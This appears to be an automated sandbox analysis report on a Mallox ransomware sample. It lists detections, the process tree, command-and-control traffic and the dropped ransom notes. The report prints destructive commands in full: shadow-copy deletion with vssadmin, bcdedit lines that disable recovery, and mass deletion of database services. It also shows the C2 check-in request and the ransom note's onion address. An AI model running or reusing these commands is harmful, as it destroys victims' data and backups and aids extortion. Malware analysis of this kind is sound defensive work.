Edit tour

Windows Analysis Report
_145.exe

Overview

General Information

Sample Name:	_145.exe
Analysis ID:	1337854
MD5:	b54d7da0fe6869006ffd3b9b470f0dc4
SHA1:	5d0b9521cca0c911d49162e7f416a1463fbaefae
SHA256:	df29d5c4a750663440ce76d6804ce88e03faeef9591ec0b3b9ca348a6c930b7f
Tags:	exemalloxransomware
Infos:

Detection

Targeted Ransomware, TrojanRansom

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Targeted Ransomware

Multi AV Scanner detection for submitted file

Yara detected TrojanRansom

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Yara detected RansomwareGeneric

Snort IDS alert for network traffic

Creates files in the recycle bin to hide itself

Uses bcdedit to modify the Windows boot settings

May disable shadow drive data (uses vssadmin)

Writes many files with high entropy

Writes a notice file (html or txt) to demand a ransom

Deletes shadow drive data (may be related to ransomware)

Opens network shares

May use bcdedit to modify the Windows boot settings

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Internet Provider seen in connection with other malware

Sample execution stops while process was sleeping (likely an evasion)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Searches for user specific document files

Contains long sleeps (>= 3 min)

May check the online IP address of the machine

Abnormal high CPU Usage

Enables debug privileges

Installs a raw input device (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Checks for available system drives (often done to infect USB drives)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

_145.exe (PID: 5700 cmdline: C:\Users\user\Desktop\_145.exe MD5: B54D7DA0FE6869006FFD3B9B470F0DC4)

vssadmin.exe (PID: 4956 cmdline: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet MD5: B58073DB8892B67A672906C9358020EC)

conhost.exe (PID: 6540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5720 cmdline: "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4612 cmdline: sc delete "MSSQLFDLauncher" MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

cmd.exe (PID: 1396 cmdline: "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1972 cmdline: "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

notepad.exe (PID: 3112 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt MD5: 27F71B12CB585541885A31BE22F61C83)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: _145.exe PID: 5700	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: _145.exe PID: 5700	JoeSecurity_TargetedRansomware	Yara detected Targeted Ransomware	Joe Security
Process Memory Space: _145.exe PID: 5700	JoeSecurity_TrojanRansom	Yara detected TrojanRansom	Joe Security

Snort Signatures

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249719802039815 11/06/23-19:44:32.807981
SID:	2039815
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249721802039815 11/06/23-19:44:35.420553
SID:	2039815
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249715802039815 11/06/23-19:44:31.537853
SID:	2039815
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249720802039815 11/06/23-19:44:34.123034
SID:	2039815
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249722802039815 11/06/23-19:44:36.871461
SID:	2039815
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249711802039815 11/06/23-19:44:28.316418
SID:	2039815
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249713802039815 11/06/23-19:44:30.057662
SID:	2039815
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 165Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 34 39 39 33 38 30 39 45 43 38 35 41 42 35 31 34 31 41 41 30 44 42 33 46 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 45 6e 74 65 72 70 72 69 73 65 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 35 36 2e 31 34 36 2e 34 39 2e 31 36 38 2c 25 32 30 36 34 38 33 35 31 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 35 37 34 Data Ascii: user=panda&TargetID=4993809EC85AB5141AA0DB3F&SystemInformation=Windows%2010%20Enterprise%20x64,%20CH,%20156.146.49.168,%20648351&max_size_of_file=0.0&size_of_hdd=574

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache

Source: _145.exe, 00000000.00000003.2610480315.0000000004F1E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WCE47~1.AU3_WinAPI_RegisterRawInputDevices.au3

memstr_22278577-1

Spam, unwanted Advertisements and Ransom Demands

Yara detected Targeted Ransomware

Source: Yara match

File source: Process Memory Space: _145.exe PID: 5700, type: MEMORYSTR

Yara detected TrojanRansom

Source: Yara match

File source: Process Memory Space: _145.exe PID: 5700, type: MEMORYSTR

Yara detected RansomwareGeneric

Source: Yara match

File source: Process Memory Space: _145.exe PID: 5700, type: MEMORYSTR

May disable shadow drive data (uses vssadmin)

Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet			Jump to behavior

Writes many files with high entropy

Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\D4AAED77-3A86-4390-8A8C-B5376696441B entropy: 7.9978765475	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\AA3DCC85-1029-4D9F-A8D2-CD0AE28D4CCD entropy: 7.99755440479	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml entropy: 7.99947840966	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230172v1.xml entropy: 7.99424683429	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230170v1.xml entropy: 7.99367375082	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml entropy: 7.99930551022	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.gz entropy: 7.99877023877	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.gz entropy: 7.99851764672	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Ocomprivate.zip entropy: 7.99791482265	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.zip entropy: 7.99751375815	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.Controls.zip entropy: 7.99217986455	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Model.zip entropy: 7.99815024276	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.map.gz entropy: 7.99956046235	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.gz entropy: 7.9996621784	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\vendor.js.map.gz entropy: 7.99802988342	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\vendor.js.gz entropy: 7.9957015754	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.map.gz entropy: 7.99979205069	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.map.gz entropy: 7.9997236662	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.map.gz entropy: 7.99950798732	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.map.gz entropy: 7.99943860489	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.gz entropy: 7.99937837542	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.gz entropy: 7.99910644885	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\EFI\Microsoft\Recovery\BCD entropy: 7.99071401222	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat entropy: 7.9967880877	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst entropy: 7.99901582661	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Recovery\WindowsRE\Winre.wim entropy: 7.99978803217	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\EFI\Microsoft\Recovery\BCD.LOG entropy: 7.99531741182	Jump to dropped file

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\Temp\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\INetHistory\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\INetCookies\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\INetCache\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\TempState\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\SystemAppData\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\RoamingState\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\LocalState\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file

Deletes shadow drive data (may be related to ransomware)

Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet	Jump to behavior
Source: _145.exe, 00000000.00000003.2063471449.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: _145.exe, 00000000.00000003.2064147890.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: _145.exe, 00000000.00000000.2043016948.0000000000E72000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s\|%s\|%s\|%dSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopen89A72EF01PowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector too longNtQuerySystemInformation\AES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM-NO-TAGAES-192-CCM-NO-TAGAES-256-CCM-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM-NO-TAGCAMELLIA-192-CCM-NO-TAGCAMELLIA-256-CCM-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM-NO-TAGARIA-192-CCM-NO-TAGARIA-256-CCM-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512
Source: _145.exe, 00000000.00000003.2064450947.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: _145.exe, 00000000.00000003.2065619258.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: vssadmin.exe, 00000003.00000002.2074222049.000001ECEB8A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\vssadmin.exe"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietC:\Windows\sysnative\vssadmin.exeWinsta0\Default
Source: vssadmin.exe, 00000003.00000002.2074222049.000001ECEB8A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: vssadmin.exe, 00000003.00000002.2074363626.000001ECEBA85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\sysnative\vssadmin.exedeleteshadows/all/quiet:
